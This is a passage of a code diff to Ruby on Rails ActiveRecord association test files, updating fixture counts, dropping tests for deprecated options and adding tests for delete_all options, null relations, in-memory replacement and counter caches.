assert_equal 0, firm.dependent_clients_of_firm.size
assert_equal 0, firm.dependent_clients_of_firm(true).size
- assert_equal [client_id], Client.destroyed_client_ids[firm.id]
+ assert_equal [], Client.destroyed_client_ids[firm.id]
# Should be destroyed since the association is dependent.
assert_nil Client.find_by_id(client_id)
end
+ def test_delete_all_with_option_delete_all
+ firm = companies(:first_firm)
+ client_id = firm.dependent_clients_of_firm.first.id
+ firm.dependent_clients_of_firm.delete_all(:delete_all)
+ assert_nil Client.find_by_id(client_id)
+ end
+
+ def test_delete_all_accepts_limited_parameters
+ firm = companies(:first_firm)
+ assert_raise(ArgumentError) do
+ firm.dependent_clients_of_firm.delete_all(:destroy)
+ end
+ end
+
def test_clearing_an_exclusively_dependent_association_collection
firm = companies(:first_firm)
client_id = firm.exclusively_dependent_clients_of_firm.first.id
- assert_equal 1, firm.exclusively_dependent_clients_of_firm.size
+ assert_equal 2, firm.exclusively_dependent_clients_of_firm.size
assert_equal [], Client.destroyed_client_ids[firm.id]
@@ -940,10 +1101,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_delete_all_association_with_primary_key_deletes_correct_records
firm = Firm.first
# break the vanilla firm_id foreign key
- assert_equal 2, firm.clients.count
+ assert_equal 3, firm.clients.count
firm.clients.first.update_columns(firm_id: nil)
- assert_equal 1, firm.clients(true).count
- assert_equal 1, firm.clients_using_primary_key_with_delete_all.count
+ assert_equal 2, firm.clients(true).count
+ assert_equal 2, firm.clients_using_primary_key_with_delete_all.count
old_record = firm.clients_using_primary_key_with_delete_all.first
firm = Firm.first
firm.destroy
@@ -975,8 +1136,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
force_signal37_to_load_all_clients_of_firm
summit = Client.find_by_name('Summit')
companies(:first_firm).clients_of_firm.delete(summit)
- assert_equal 1, companies(:first_firm).clients_of_firm.size
- assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 2, companies(:first_firm).clients_of_firm.size
+ assert_equal 2, companies(:first_firm).clients_of_firm(true).size
assert_equal 2, summit.client_of
end
@@ -1013,8 +1174,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first)
end
- assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
- assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 1, companies(:first_firm).clients_of_firm(true).size
end
def test_destroying_by_fixnum_id
@@ -1024,8 +1185,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id)
end
- assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
- assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 1, companies(:first_firm).clients_of_firm(true).size
end
def test_destroying_by_string_id
@@ -1035,21 +1196,21 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id.to_s)
end
- assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
- assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 1, companies(:first_firm).clients_of_firm(true).size
end
def test_destroying_a_collection
force_signal37_to_load_all_clients_of_firm
companies(:first_firm).clients_of_firm.create("name" => "Another Client")
- assert_equal 2, companies(:first_firm).clients_of_firm.size
+ assert_equal 3, companies(:first_firm).clients_of_firm.size
assert_difference "Client.count", -2 do
companies(:first_firm).clients_of_firm.destroy([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
end
- assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
- assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 1, companies(:first_firm).clients_of_firm(true).size
end
def test_destroy_all
@@ -1058,14 +1219,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert !clients.empty?, "37signals has clients after load"
destroyed = companies(:first_firm).clients_of_firm.destroy_all
assert_equal clients.sort_by(&:id), destroyed.sort_by(&:id)
- assert destroyed.all? { |client| client.frozen? }, "destroyed clients should be frozen"
+ assert destroyed.all?(&:frozen?), "destroyed clients should be frozen"
assert companies(:first_firm).clients_of_firm.empty?, "37signals has no clients after destroy all"
assert companies(:first_firm).clients_of_firm(true).empty?, "37signals has no clients after destroy all and refresh"
end
def test_dependence
firm = companies(:first_firm)
- assert_equal 2, firm.clients.size
+ assert_equal 3, firm.clients.size
firm.destroy
assert Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.empty?
end
@@ -1078,14 +1239,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_destroy_dependent_when_deleted_from_association
# sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
firm = Firm.all.merge!(:order => "id").first
- assert_equal 2, firm.clients.size
+ assert_equal 3, firm.clients.size
client = firm.clients.first
firm.clients.delete(client)
assert_raise(ActiveRecord::RecordNotFound) { Client.find(client.id) }
assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(client.id) }
- assert_equal 1, firm.clients.size
+ assert_equal 2, firm.clients.size
end
def test_three_levels_of_dependence
@@ -1100,12 +1261,12 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_dependence_with_transaction_support_on_failure
firm = companies(:first_firm)
clients = firm.clients
- assert_equal 2, clients.length
+ assert_equal 3, clients.length
clients.last.instance_eval { def overwrite_to_raise() raise "Trigger rollback" end }
firm.destroy rescue "do nothing"
- assert_equal 2, Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.size
+ assert_equal 3, Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.size
end
def test_dependence_on_account
@@ -1128,21 +1289,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal num_accounts, Account.count
end
- def test_restrict
- firm = RestrictedFirm.create!(:name => 'restrict')
- firm.companies.create(:name => 'child')
-
- assert !firm.companies.empty?
- assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
- assert RestrictedFirm.exists?(:name => 'restrict')
- assert firm.companies.exists?(:name => 'child')
- end
-
- def test_restrict_is_deprecated
- klass = Class.new(ActiveRecord::Base)
- assert_deprecated { klass.has_many :posts, dependent: :restrict }
- end
-
def test_restrict_with_exception
firm = RestrictedWithExceptionFirm.create!(:name => 'restrict')
firm.companies.create(:name => 'child')
@@ -1169,14 +1315,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_included_in_collection
- assert companies(:first_firm).clients.include?(Client.find(2))
+ assert_equal true, companies(:first_firm).clients.include?(Client.find(2))
end
def test_included_in_collection_for_new_records
client = Client.create(:name => 'Persisted')
assert_nil client.client_of
- assert !Firm.new.clients_of_firm.include?(client),
- 'includes a client that does not belong to any firm'
+ assert_equal false, Firm.new.clients_of_firm.include?(client),
+ 'includes a client that does not belong to any firm'
end
def test_adding_array_and_collection
@@ -1203,7 +1349,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
firm.save
firm.reload
assert_equal 2, firm.clients.length
- assert !firm.clients.include?(:first_client)
+ assert_equal false, firm.clients.include?(:first_client)
end
def test_replace_failure
@@ -1213,10 +1359,23 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert !account.valid?
assert !orig_accounts.empty?
- assert_raise ActiveRecord::RecordNotSaved do
+ error = assert_raise ActiveRecord::RecordNotSaved do
firm.accounts = [account]
end
+
assert_equal orig_accounts, firm.accounts
+ assert_equal "Failed to replace accounts because one or more of the " \
+ "new records could not be saved.", error.message
+ end
+
+ def test_replace_with_same_content
+ firm = Firm.first
+ firm.clients = []
+ firm.save
+
+ assert_queries(0, ignore_none: true) do
+ firm.clients = []
+ end
end
def test_transactions_when_replacing_on_persisted
@@ -1234,14 +1393,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_transactions_when_replacing_on_new_record
- assert_no_queries do
+ assert_no_queries(ignore_none: false) do
firm = Firm.new
firm.clients_of_firm = [Client.new("name" => "New Client")]
end
end
def test_get_ids
- assert_equal [companies(:first_client).id, companies(:second_client).id], companies(:first_firm).client_ids
+ assert_equal [companies(:first_client).id, companies(:second_client).id, companies(:another_first_firm_client).id], companies(:first_firm).client_ids
end
def test_get_ids_for_loaded_associations
@@ -1256,7 +1415,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_get_ids_for_unloaded_associations_does_not_load_them
company = companies(:first_firm)
assert !company.clients.loaded?
- assert_equal [companies(:first_client).id, companies(:second_client).id], company.client_ids
+ assert_equal [companies(:first_client).id, companies(:second_client).id, companies(:another_first_firm_client).id], company.client_ids
assert !company.clients.loaded?
end
@@ -1264,15 +1423,35 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal [readers(:michael_welcome).id], posts(:welcome).readers_with_person_ids
end
- def test_get_ids_for_unloaded_finder_sql_associations_loads_them
- company = companies(:first_firm)
- assert !company.clients_using_sql.loaded?
- assert_equal [companies(:second_client).id], company.clients_using_sql_ids
- assert company.clients_using_sql.loaded?
+ def test_get_ids_for_ordered_association
+ assert_equal [companies(:another_first_firm_client).id, companies(:second_client).id, companies(:first_client).id], companies(:first_firm).clients_ordered_by_name_ids
end
- def test_get_ids_for_ordered_association
- assert_equal [companies(:second_client).id, companies(:first_client).id], companies(:first_firm).clients_ordered_by_name_ids
+ def test_get_ids_for_association_on_new_record_does_not_try_to_find_records
+ Company.columns # Load schema information so we don't query below
+ Contract.columns # if running just this test.
+
+ company = Company.new
+ assert_queries(0) do
+ company.contract_ids
+ end
+
+ assert_equal [], company.contract_ids
+ end
+
+ def test_set_ids_for_association_on_new_record_applies_association_correctly
+ contract_a = Contract.create!
+ contract_b = Contract.create!
+ Contract.create! # another contract
+ company = Company.new(:name => "Some Company")
+
+ company.contract_ids = [contract_a.id, contract_b.id]
+ assert_equal [contract_a.id, contract_b.id], company.contract_ids
+ assert_equal [contract_a, contract_b], company.contracts
+
+ company.save!
+ assert_equal company, contract_a.reload.company
+ assert_equal company, contract_b.reload.company
end
def test_assign_ids_ignoring_blanks
@@ -1281,7 +1460,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
firm.save!
assert_equal 2, firm.clients(true).size
- assert firm.clients.include?(companies(:second_client))
+ assert_equal true, firm.clients.include?(companies(:second_client))
end
def test_get_ids_for_through
@@ -1315,7 +1494,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_no_queries do
assert firm.clients.loaded?
- assert firm.clients.include?(client)
+ assert_equal true, firm.clients.include?(client)
end
end
@@ -1326,33 +1505,23 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
firm.reload
assert ! firm.clients.loaded?
assert_queries(1) do
- assert firm.clients.include?(client)
+ assert_equal true, firm.clients.include?(client)
end
assert ! firm.clients.loaded?
end
- def test_include_loads_collection_if_target_uses_finder_sql
- firm = companies(:first_firm)
- client = firm.clients_using_sql.first
-
- firm.reload
- assert ! firm.clients_using_sql.loaded?
- assert firm.clients_using_sql.include?(client)
- assert firm.clients_using_sql.loaded?
- end
-
-
def test_include_returns_false_for_non_matching_record_to_verify_scoping
firm = companies(:first_firm)
client = Client.create!(:name => 'Not Associated')
assert ! firm.clients.loaded?
- assert ! firm.clients.include?(client)
+ assert_equal false, firm.clients.include?(client)
end
- def test_calling_first_or_last_on_association_should_not_load_association
+ def test_calling_first_nth_or_last_on_association_should_not_load_association
firm = companies(:first_firm)
firm.clients.first
+ firm.clients.second
firm.clients.last
assert !firm.clients.loaded?
end
@@ -1362,7 +1531,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
firm.clients.load_target
assert firm.clients.loaded?
- assert_no_queries do
+ assert_no_queries(ignore_none: false) do
firm.clients.first
assert_equal 2, firm.clients.first(2).size
firm.clients.last
@@ -1377,30 +1546,33 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_queries 1 do
firm.clients.first
+ firm.clients.second
firm.clients.last
end
assert firm.clients.loaded?
end
- def test_calling_first_or_last_on_existing_record_with_create_should_not_load_association
+ def test_calling_first_nth_or_last_on_existing_record_with_create_should_not_load_association
firm = companies(:first_firm)
firm.clients.create(:name => 'Foo')
assert !firm.clients.loaded?
- assert_queries 2 do
+ assert_queries 3 do
firm.clients.first
+ firm.clients.second
firm.clients.last
end
assert !firm.clients.loaded?
end
- def test_calling_first_or_last_on_new_record_should_not_run_queries
+ def test_calling_first_nth_or_last_on_new_record_should_not_run_queries
firm = Firm.new
assert_no_queries do
firm.clients.first
+ firm.clients.second
firm.clients.last
end
end
@@ -1421,6 +1593,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal david.essays, Essay.where(writer_id: "David")
end
+ def test_has_many_assignment_with_custom_primary_key
+ david = people(:david)
+
+ assert_equal ["A Modest Proposal"], david.essays.map(&:name)
+ david.essays = [Essay.create!(name: "Remote Work" )]
+ assert_equal ["Remote Work"], david.essays.map(&:name)
+ end
+
def test_blank_custom_primary_key_on_new_record_should_not_run_queries
author = Author.new
assert !author.essays.loaded?
@@ -1430,15 +1610,17 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
end
- def test_calling_first_or_last_with_integer_on_association_should_load_association
+ def test_calling_first_or_last_with_integer_on_association_should_not_load_association
firm = companies(:first_firm)
+ firm.clients.create(:name => 'Foo')
+ assert !firm.clients.loaded?
- assert_queries 1 do
+ assert_queries 2 do
firm.clients.first(2)
firm.clients.last(2)
end
- assert firm.clients.loaded?
+ assert !firm.clients.loaded?
end
def test_calling_many_should_count_instead_of_loading_association
@@ -1477,7 +1659,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_calling_many_should_return_true_if_more_than_one
firm = companies(:first_firm)
assert firm.clients.many?
- assert_equal 2, firm.clients.size
+ assert_equal 3, firm.clients.size
end
def test_joins_with_namespaced_model_should_use_correct_type
@@ -1554,7 +1736,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_include_method_in_has_many_association_should_return_true_for_instance_added_with_build
post = Post.new
comment = post.comments.build
- assert post.comments.include?(comment)
+ assert_equal true, post.comments.include?(comment)
end
def test_load_target_respects_protected_attributes
@@ -1624,6 +1806,22 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal car.id, bulb.attributes_after_initialize['car_id']
end
+ def test_attributes_are_set_when_initialized_from_has_many_null_relationship
+ car = Car.new name: 'honda'
+ bulb = car.bulbs.where(name: 'headlight').first_or_initialize
+ assert_equal 'headlight', bulb.name
+ end
+
+ def test_attributes_are_set_when_initialized_from_polymorphic_has_many_null_relationship
+ post = Post.new title: 'title', body: 'bar'
+ tag = Tag.create!(name: 'foo')
+
+ tagging = post.taggings.where(tag: tag).first_or_initialize
+
+ assert_equal tag.id, tagging.tag_id
+ assert_equal 'Post', tagging.taggable_type
+ end
+
def test_replace
car = Car.create(:name => 'honda')
bulb1 = car.bulbs.create
@@ -1678,31 +1876,198 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
end
- test ":finder_sql is deprecated" do
- klass = Class.new(ActiveRecord::Base)
- assert_deprecated { klass.has_many :foo, :finder_sql => 'lol' }
+ test "has many associations on new records use null relations" do
+ post = Post.new
+
+ assert_no_queries(ignore_none: false) do
+ assert_equal [], post.comments
+ assert_equal [], post.comments.where(body: 'omg')
+ assert_equal [], post.comments.pluck(:body)
+ assert_equal 0, post.comments.sum(:id)
+ assert_equal 0, post.comments.count
+ end
+ end
+
+ test "collection proxy respects default scope" do
+ author = authors(:mary)
+ assert !author.first_posts.exists?
+ end
+
+ test "association with extend option" do
+ post = posts(:welcome)
+ assert_equal "lifo", post.comments_with_extend.author
+ assert_equal "hello", post.comments_with_extend.greeting
+ end
+
+ test "association with extend option with multiple extensions" do
+ post = posts(:welcome)
+ assert_equal "lifo", post.comments_with_extend_2.author
+ assert_equal "hello", post.comments_with_extend_2.greeting
+ end
+
+ test "delete record with complex joins" do
+ david = authors(:david)
+
+ post = david.posts.first
+ post.type = 'PostWithSpecialCategorization'
+ post.save
+
+ categorization = post.categorizations.first
+ categorization.special = true
+ categorization.save
+
+ assert_not_equal [], david.posts_with_special_categorizations
+ david.posts_with_special_categorizations = []
+ assert_equal [], david.posts_with_special_categorizations
+ end
+
+ test "does not duplicate associations when used with natural primary keys" do
+ speedometer = Speedometer.create!(id: '4')
+ speedometer.minivans.create!(minivan_id: 'a-van-red' ,name: 'a van', color: 'red')
+
+ assert_equal 1, speedometer.minivans.to_a.size, "Only one association should be present:\n#{speedometer.minivans.to_a}"
+ assert_equal 1, speedometer.reload.minivans.to_a.size
+ end
+
+ test "can unscope the default scope of the associated model" do
+ car = Car.create!
+ bulb1 = Bulb.create! name: "defaulty", car: car
+ bulb2 = Bulb.create! name: "other", car: car
+
+ assert_equal [bulb1], car.bulbs
+ assert_equal [bulb1, bulb2], car.all_bulbs.sort_by(&:id)
end
- test ":counter_sql is deprecated" do
- klass = Class.new(ActiveRecord::Base)
- assert_deprecated { klass.has_many :foo, :counter_sql => 'lol' }
+ test 'unscopes the default scope of associated model when used with include' do
+ car = Car.create!
+ bulb = Bulb.create! name: "other", car: car
+
+ assert_equal bulb, Car.find(car.id).all_bulbs.first
+ assert_equal bulb, Car.includes(:all_bulbs).find(car.id).all_bulbs.first
end
- test "sum calculation with block for array compatibility is deprecated" do
- assert_deprecated do
- posts(:welcome).comments.sum { |c| c.id }
+ test "raises RecordNotDestroyed when replaced child can't be destroyed" do
+ car = Car.create!
+ original_child = FailedBulb.create!(car: car)
+
+ assert_raise(ActiveRecord::RecordNotDestroyed) do
+ car.failed_bulbs = [FailedBulb.create!]
end
+
+ assert_equal [original_child], car.reload.failed_bulbs
end
- test "has many associations on new records use null relations" do
- post = Post.new
+ test 'updates counter cache when default scope is given' do
+ topic = DefaultRejectedTopic.create approved: true
+
+ assert_difference "topic.reload.replies_count", 1 do
+ topic.approved_replies.create!
+ end
+ end
+
+ test 'dangerous association name raises ArgumentError' do
+ [:errors, 'errors', :save, 'save'].each do |name|
+ assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+ Class.new(ActiveRecord::Base) do
+ has_many name
+ end
+ end
+ end
+ end
+
+ test 'passes custom context validation to validate children' do
+ pirate = FamousPirate.new
+ pirate.famous_ships << ship = FamousShip.new
+
+ assert pirate.valid?
+ assert_not pirate.valid?(:conference)
+ assert_equal "can't be blank", ship.errors[:name].first
+ end
+
+ test 'association with instance dependent scope' do
+ bob = authors(:bob)
+ Post.create!(title: "signed post by bob", body: "stuff", author: authors(:bob))
+ Post.create!(title: "anonymous post", body: "more stuff", author: authors(:bob))
+ assert_equal ["misc post by bob", "other post by bob",
+ "signed post by bob"], bob.posts_with_signature.map(&:title).sort
+
+ assert_equal [], authors(:david).posts_with_signature.map(&:title)
+ end
+
+ test 'associations autosaves when object is already persited' do
+ bulb = Bulb.create!
+ tyre = Tyre.create!
+
+ car = Car.create! do |c|
+ c.bulbs << bulb
+ c.tyres << tyre
+ end
+
+ assert_equal 1, car.bulbs.count
+ assert_equal 1, car.tyres.count
+ end
+
+ test 'associations replace in memory when records have the same id' do
+ bulb = Bulb.create!
+ car = Car.create!(bulbs: [bulb])
+
+ new_bulb = Bulb.find(bulb.id)
+ new_bulb.name = "foo"
+ car.bulbs = [new_bulb]
+
+ assert_equal "foo", car.bulbs.first.name
+ end
+
+ test 'in memory replacement executes no queries' do
+ bulb = Bulb.create!
+ car = Car.create!(bulbs: [bulb])
+
+ new_bulb = Bulb.find(bulb.id)
assert_no_queries do
- assert_equal [], post.comments
- assert_equal [], post.comments.where(body: 'omg')
- assert_equal [], post.comments.pluck(:body)
- assert_equal 0, post.comments.sum(:id)
- assert_equal 0, post.comments.count
+ car.bulbs = [new_bulb]
+ end
+ end
+
+ test 'in memory replacements do not execute callbacks' do
+ raise_after_add = false
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = :cars
+ has_many :bulbs, after_add: proc { raise if raise_after_add }
+
+ def self.name
+ "Car"
+ end
end
+ bulb = Bulb.create!
+ car = klass.create!(bulbs: [bulb])
+
+ new_bulb = Bulb.find(bulb.id)
+ raise_after_add = true
+
+ assert_nothing_raised do
+ car.bulbs = [new_bulb]
+ end
+ end
+
+ test 'in memory replacements sets inverse instance' do
+ bulb = Bulb.create!
+ car = Car.create!(bulbs: [bulb])
+
+ new_bulb = Bulb.find(bulb.id)
+ car.bulbs = [new_bulb]
+
+ assert_same car, new_bulb.car
+ end
+
+ test 'in memory replacement maintains order' do
+ first_bulb = Bulb.create!
+ second_bulb = Bulb.create!
+ car = Car.create!(bulbs: [first_bulb, second_bulb])
+
+ same_bulb = Bulb.find(first_bulb.id)
+ car.bulbs = [second_bulb, same_bulb]
+
+ assert_equal [first_bulb, second_bulb], car.bulbs
end
end
diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb
index 8e52ce1d91..589a232bdb 100644
--- a/activerecord/test/cases/associations/has_many_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb
@@ -5,6 +5,7 @@ require 'models/reference'
require 'models/job'
require 'models/reader'
require 'models/comment'
+require 'models/rating'
require 'models/tag'
require 'models/tagging'
require 'models/author'
@@ -14,6 +15,7 @@ require 'models/toy'
require 'models/contract'
require 'models/company'
require 'models/developer'
+require 'models/computer'
require 'models/subscriber'
require 'models/book'
require 'models/subscription'
@@ -27,7 +29,8 @@ require 'models/club'
class HasManyThroughAssociationsTest < ActiveRecord::TestCase
fixtures :posts, :readers, :people, :comments, :authors, :categories, :taggings, :tags,
:owners, :pets, :toys, :jobs, :references, :companies, :members, :author_addresses,
- :subscribers, :books, :subscriptions, :developers, :categorizations, :essays
+ :subscribers, :books, :subscriptions, :developers, :categorizations, :essays,
+ :categories_posts, :clubs, :memberships
# Dummies to force column loads so query counts are clean.
def setup
@@ -35,6 +38,136 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
Reader.create :person_id => 0, :post_id => 0
end
+ def test_preload_sti_rhs_class
+ developers = Developer.includes(:firms).all.to_a
+ assert_no_queries do
+ developers.each(&:firms)
+ end
+ end
+
+ def test_preload_sti_middle_relation
+ club = Club.create!(name: 'Aaron cool banana club')
+ member1 = Member.create!(name: 'Aaron')
+ member2 = Member.create!(name: 'Cat')
+
+ SuperMembership.create! club: club, member: member1
+ CurrentMembership.create! club: club, member: member2
+
+ club1 = Club.includes(:members).find_by_id club.id
+ assert_equal [member1, member2].sort_by(&:id),
+ club1.members.sort_by(&:id)
+ end
+
+ def make_model(name)
+ Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } }
+ end
+
+ def test_ordered_habtm
+ person_prime = Class.new(ActiveRecord::Base) do
+ def self.name; 'Person'; end
+
+ has_many :readers
+ has_many :posts, -> { order('posts.id DESC') }, :through => :readers
+ end
+ posts = person_prime.includes(:posts).first.posts
+
+ assert_operator posts.length, :>, 1
+ posts.each_cons(2) do |left,right|
+ assert_operator left.id, :>, right.id
+ end
+ end
+
+ def test_singleton_has_many_through
+ book = make_model "Book"
+ subscription = make_model "Subscription"
+ subscriber = make_model "Subscriber"
+
+ subscriber.primary_key = 'nick'
+ subscription.belongs_to :book, class: book
+ subscription.belongs_to :subscriber, class: subscriber
+
+ book.has_many :subscriptions, class: subscription
+ book.has_many :subscribers, through: :subscriptions, class: subscriber
+
+ anonbook = book.first
+ namebook = Book.find anonbook.id
+
+ assert_operator anonbook.subscribers.count, :>, 0
+ anonbook.subscribers.each do |s|
+ assert_instance_of subscriber, s
+ end
+ assert_equal namebook.subscribers.map(&:id).sort,
+ anonbook.subscribers.map(&:id).sort
+ end
+
+ def test_no_pk_join_table_append
+ lesson, _, student = make_no_pk_hm_t
+
+ sicp = lesson.new(:name => "SICP")
+ ben = student.new(:name => "Ben Bitdiddle")
+ sicp.students << ben
+ assert sicp.save!
+ end
+
+ def test_no_pk_join_table_delete
+ lesson, lesson_student, student = make_no_pk_hm_t
+
+ sicp = lesson.new(:name => "SICP")
+ ben = student.new(:name => "Ben Bitdiddle")
+ louis = student.new(:name => "Louis Reasoner")
+ sicp.students << ben
+ sicp.students << louis
+ assert sicp.save!
+
+ sicp.students.reload
+ assert_operator lesson_student.count, :>=, 2
+ assert_no_difference('student.count') do
+ assert_difference('lesson_student.count', -2) do
+ sicp.students.destroy(*student.all.to_a)
+ end
+ end
+ end
+
+ def test_no_pk_join_model_callbacks
+ lesson, lesson_student, student = make_no_pk_hm_t
+
+ after_destroy_called = false
+ lesson_student.after_destroy do
+ after_destroy_called = true
+ end
+
+ sicp = lesson.new(:name => "SICP")
+ ben = student.new(:name => "Ben Bitdiddle")
+ sicp.students << ben
+ assert sicp.save!
+
+ sicp.students.reload
+ sicp.students.destroy(*student.all.to_a)
+ assert after_destroy_called, "after destroy should be called"
+ end
+
+ def make_no_pk_hm_t
+ lesson = make_model 'Lesson'
+ student = make_model 'Student'
+
+ lesson_student = make_model 'LessonStudent'
+ lesson_student.table_name = 'lessons_students'
+
+ lesson_student.belongs_to :lesson, :class => lesson
+ lesson_student.belongs_to :student, :class => student
+ lesson.has_many :lesson_students, :class => lesson_student
+ lesson.has_many :students, :through => :lesson_students, :class => student
+ [lesson, lesson_student, student]
+ end
+
+ def test_pk_is_not_required_for_join
+ post = Post.includes(:scategories).first
+ post2 = Post.includes(:categories).first
+
+ assert_operator post.categories.length, :>, 0
+ assert_equal post2.categories, post.categories
+ end
+
def test_include?
person = Person.new
post = Post.new
@@ -57,6 +190,47 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert post.reload.people(true).include?(person)
end
+ def test_delete_all_for_with_dependent_option_destroy
+ person = people(:david)
+ assert_equal 1, person.jobs_with_dependent_destroy.count
+
+ assert_no_difference 'Job.count' do
+ assert_difference 'Reference.count', -1 do
+ person.reload.jobs_with_dependent_destroy.delete_all
+ end
+ end
+ end
+
+ def test_delete_all_for_with_dependent_option_nullify
+ person = people(:david)
+ assert_equal 1, person.jobs_with_dependent_nullify.count
+
+ assert_no_difference 'Job.count' do
+ assert_no_difference 'Reference.count' do
+ person.reload.jobs_with_dependent_nullify.delete_all
+ end
+ end
+ end
+
+ def test_delete_all_for_with_dependent_option_delete_all
+ person = people(:david)
+ assert_equal 1, person.jobs_with_dependent_delete_all.count
+
+ assert_no_difference 'Job.count' do
+ assert_difference 'Reference.count', -1 do
+ person.reload.jobs_with_dependent_delete_all.delete_all
+ end
+ end
+ end
+
+ def test_concat
+ person = people(:david)
+ post = posts(:thinking)
+ post.people.concat [person]
+ assert_equal 1, post.people.size
+ assert_equal 1, post.people(true).size
+ end
+
def test_associate_existing_record_twice_should_add_to_target_twice
post = posts(:thinking)
person = people(:david)
@@ -157,6 +331,19 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert post.single_people.include?(person)
end
+ def test_both_parent_ids_set_when_saving_new
+ post = Post.new(title: 'Hello', body: 'world')
+ person = Person.new(first_name: 'Sean')
+
+ post.people = [person]
+ post.save
+
+ assert post.id
+ assert person.id
+ assert_equal post.id, post.readers.first.post_id
+ assert_equal person.id, post.readers.first.person_id
+ end
+
def test_delete_association
assert_queries(2){posts(:welcome);people(:michael); }
@@ -303,7 +490,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
post = posts(:welcome)
tag = post.tags.create!(:name => 'doomed')
- assert_difference ['post.reload.taggings_count', 'post.reload.tags_count'], -1 do
+ assert_difference ['post.reload.tags_count'], -1 do
posts(:welcome).tags.delete(tag)
end
end
@@ -313,7 +500,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
tag = post.tags.create!(:name => 'doomed')
post.update_columns(tags_with_destroy_count: post.tags.count)
- assert_difference ['post.reload.taggings_count', 'post.reload.tags_with_destroy_count'], -1 do
+ assert_difference ['post.reload.tags_with_destroy_count'], -1 do
posts(:welcome).tags_with_destroy.delete(tag)
end
end
@@ -323,13 +510,33 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
tag = post.tags.create!(:name => 'doomed')
post.update_columns(tags_with_nullify_count: post.tags.count)
- assert_no_difference 'post.reload.taggings_count' do
+ assert_no_difference 'post.reload.tags_count' do
assert_difference 'post.reload.tags_with_nullify_count', -1 do
posts(:welcome).tags_with_nullify.delete(tag)
end
end
end
+ def test_update_counter_caches_on_replace_association
+ post = posts(:welcome)
+ tag = post.tags.create!(:name => 'doomed')
+ tag.tagged_posts << posts(:thinking)
+
+ tag.tagged_posts = []
+ post.reload
+
+ assert_equal(post.taggings.count, post.tags_count)
+ end
+
+ def test_update_counter_caches_on_destroy
+ post = posts(:welcome)
+ tag = post.tags.create!(name: 'doomed')
+
+ assert_difference 'post.reload.tags_count', -1 do
+ tag.tagged_posts.destroy(post)
+ end
+ end
+
def test_replace_association
assert_queries(4){posts(:welcome);people(:david);people(:michael); posts(:welcome).people(true)}
@@ -408,8 +615,11 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
def test_create_on_new_record
p = Post.new
- assert_raises(ActiveRecord::RecordNotSaved) { p.people.create(:first_name => "mew") }
- assert_raises(ActiveRecord::RecordNotSaved) { p.people.create!(:first_name => "snow") }
+ error = assert_raises(ActiveRecord::RecordNotSaved) { p.people.create(:first_name => "mew") }
+ assert_equal "You cannot call create unless the parent is saved", error.message
+
+ error = assert_raises(ActiveRecord::RecordNotSaved) { p.people.create!(:first_name => "snow") }
+ assert_equal "You cannot call create unless the parent is saved", error.message
end
def test_associate_with_create_and_invalid_options
